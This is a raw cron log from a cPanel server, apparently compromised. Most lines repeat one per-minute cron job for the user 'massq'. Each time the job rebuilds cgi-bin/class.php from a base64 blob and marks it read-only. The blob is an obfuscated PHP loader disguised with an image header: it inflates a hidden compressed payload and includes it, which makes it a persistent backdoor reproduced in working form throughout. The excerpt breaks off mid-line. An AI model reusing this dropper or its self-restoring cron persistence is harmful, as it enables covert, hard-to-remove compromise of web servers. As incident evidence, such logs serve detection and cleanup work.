Nov 12 07:06:01 server CROND[31680]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:07:01 server CROND[32502]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:08:01 server CROND[849]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:09:02 server CROND[1663]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 07:09:02 server CROND[1664]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:10:01 server CROND[2512]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 07:10:01 server CROND[2514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 07:10:01 server CROND[2515]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:10:01 server CROND[2517]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 07:11:01 server CROND[3477]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:12:01 server CROND[4036]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 07:12:01 server CROND[4037]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:13:01 server CROND[4424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:14:01 server CROND[4983]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:15:01 server CROND[5195]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:15:01 server CROND[5196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 07:15:01 server CROND[5197]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 07:16:01 server CROND[6239]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:17:01 server CROND[7027]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:18:01 server CROND[7842]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:19:01 server CROND[8753]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 